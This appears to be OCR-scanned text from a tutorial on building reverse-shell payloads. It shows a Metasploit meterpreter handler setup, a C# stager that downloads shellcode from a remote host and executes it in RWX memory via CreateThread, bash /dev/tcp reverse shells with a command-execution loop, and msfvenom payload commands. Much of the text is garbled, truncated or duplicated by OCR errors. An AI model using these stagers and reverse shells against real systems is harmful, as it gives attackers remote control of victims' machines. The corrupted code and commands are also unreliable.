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1.C#-payload

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.107

LHOST => 192.168.1.107

BiE

using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.

namespace RkfCHtll { class LiNGeDokgnEH {

static byte[] idCWVw(string VVUUJUQytjlL, int eMcukOUgFuHbUv) {

IPEndPoint nlttgWAMdEQgAo = new IPEndPoint (IPAddress.Parse (VVUUJUQytjlL), eMcukOUgFuHbUv) ;

Socket fzTiwdk = new Socket (AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

try { fzTiwdk.Connect (nlttgWAMdEQgAO); }

catch { return null;}

byte[] gJVVagdmu = new byte([4];

fzTiwdk.Receive (gdvVvagdmu, 4, 0);

int GFxHorfhzft = BitConverter.ToInt32(gdvVagdmu, O0);
byte[] mwxyRsYNn = new byte[GFxHorfhzft + 5];

int yVcZAEmXaMszAc = 0;

while (yVcZAEmXaMszAc < GFxHorfhzft)

{ yVcZAEmXaMszAc += fzTiwdk.Receive (mwxyRsYNn, yVcZAEmXaMszAc + 5, (GFxHorfhzft - yVcZAEmXaMszAc) < 4096

byte[] XEvFDc = BitConverter.GetBytes ((int)fzTiwdk.Handle) ;
Array.Copy (XEvFDc, 0, mwxyRsYNn, 1, 4); mwxyRsYNn[0] = OxBF;
return mwxyRsYNn; }
static void hcvPkmyIZ (byte[] fPnfqu) {
if (fPnfqu != null) {
UInt32 hcoGPUltNcjK = VirtualAlloc (0, (UInt32)fPnfqu.Length, 0x1000, 0x40);
Marshal.Copy (fPnfqu, 0, (IntPtr) (hcoGPUltNcjK), fPnfqu.Length);
IntPtr xOxEPngW = IntPtr.Zero;
UInt32 00iiZLMzO = O0;
IntPtr wxPyud = IntPtr.Zero;
xOxEPngW = CreateThread (0, 0, hcoGPUltNcjK, wxPyud, 0, ref 00iiZLMzO);
WaitForSingleObject (xOXxEPngW, OxFFFFFFFF); }}
static void Main() {
byte[] dCwAid = null; dCwAid = idCWVw ("xx.xx.xx.xx", xX);

hcvPkmyIZ (dCwAid) ; }

[DllImport ("kernel32")] private static extern UInt32 VirtualAlloc (UInt32 gWBbOS,UInt32 HoKzSHMU, UInt

[DllImport ("kernel32") ]private static extern IntPtr CreateThread(UInt32 tqUXybrozZz,

UInt32 FMmVpwin, UInt32 H!

[DllImport ("kernel32")] private static extern UInt32 WaitForSingleObject (IntPtr CApwDwK, UInt32 uzGJUJdCYTd) ;
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using System; using System. Net; using System Net. Sockets; using System. Funtime. Inte: s T,
namsspace REfCHt11 { class LiNGeDokqnEH {
static byte[] idCWir(string YWUUTUQytjll, int eMeukOUgFulbUv) |
IPEndPaint nlttzWaMAEQzin = new TPEndPaint (TPaddrass. Paras (VWITTTTOw411). el
Socket fzTiwdk = new So
try { fzTiwdk. Comectin | XHE) HHEE THW TAEM HERE HOW FEHOD
cat:h{rat\_\rnnu}L} == T e RO, &-5-Q-4- 88 26 =
byts[] eIVWazlmi = new
frTindk. Receive (g]VWag]: i B sshi/froot@l82 165.1.107:22
int GFxHorfhzft = BitCor
byte[] myRsTHn = new
int yVeZiEmEalszde = O;
while (yVcZAEnXaMszic <
{ yVeZdEnfalszhe += £2T
byte[] XEwFDe = BitConv
frray. Copy (EEwFDe, 0, m
return mwyRsTHa;}
static void hevPknylZ (byte[ [
if (fPnfqu != mall) {
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1.Bash-payload

i >& /dev/tcp/xx.xx.xx.xx/xx 0>&1

& HE= Bash fes T2 M

#!/bin/bash EEFEET
i Jdev/top/ N,

192 168.1.107T:22 - root@John. — Ishell 5 (Free for Home/School)

XHE WEE EEW IAEO EEFE ED®) AW

G- E- DO &-5-6-4- €9 856 @E B-1
@ sshi/f192.168 1. 107 22

I EFMZE=E, aE MR RIRE

® 1192.168.1.107:22 2192.168.1.107:22

exec 5<>/dev/tcp/xx.xX.XX.XxX/XX

cat <&5 | while read line; do $line 2>&5 >&5; done

& Ee Bash tEATE v

#!/bin/bash EREFEE TH....n
exec 5<%/ dev/top/ I

cat <&6 | while read line; do $line 2385 >&5; done

07:22 — root@John: ~ — Ishell 5 (Free for Home/School)
HiFF) WEE EFVY) IEM HEEFGE) BOW  FEH

Oe-¢" B OIS -53-Q-24- 8¢ H0 & &H-E-0

@ =sh:/f192. 1B8.1.107:22
B ERMEISE QE TR -

® 1192.168.1.107:22 2192.168.1.107:22

BfHsR -
msfvenom A p¥bash

root@John:~# msfvenom -p cmd/unix/reverse_bash LHOST=xx.xx..xx.xx LPORT=xx > -f raw > payload.sh



rootg@John
[*] MSF

[i] Missing TYPE or BATCH/LOOF mode

nsfpc.sh (<DOMAIN, {=PORT>
anple .sh windows 192.168.1.18
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stageless cnd py https
verbose loop ethl ; v type,

msf batch wan

rpreter paylc
help verbose ore i
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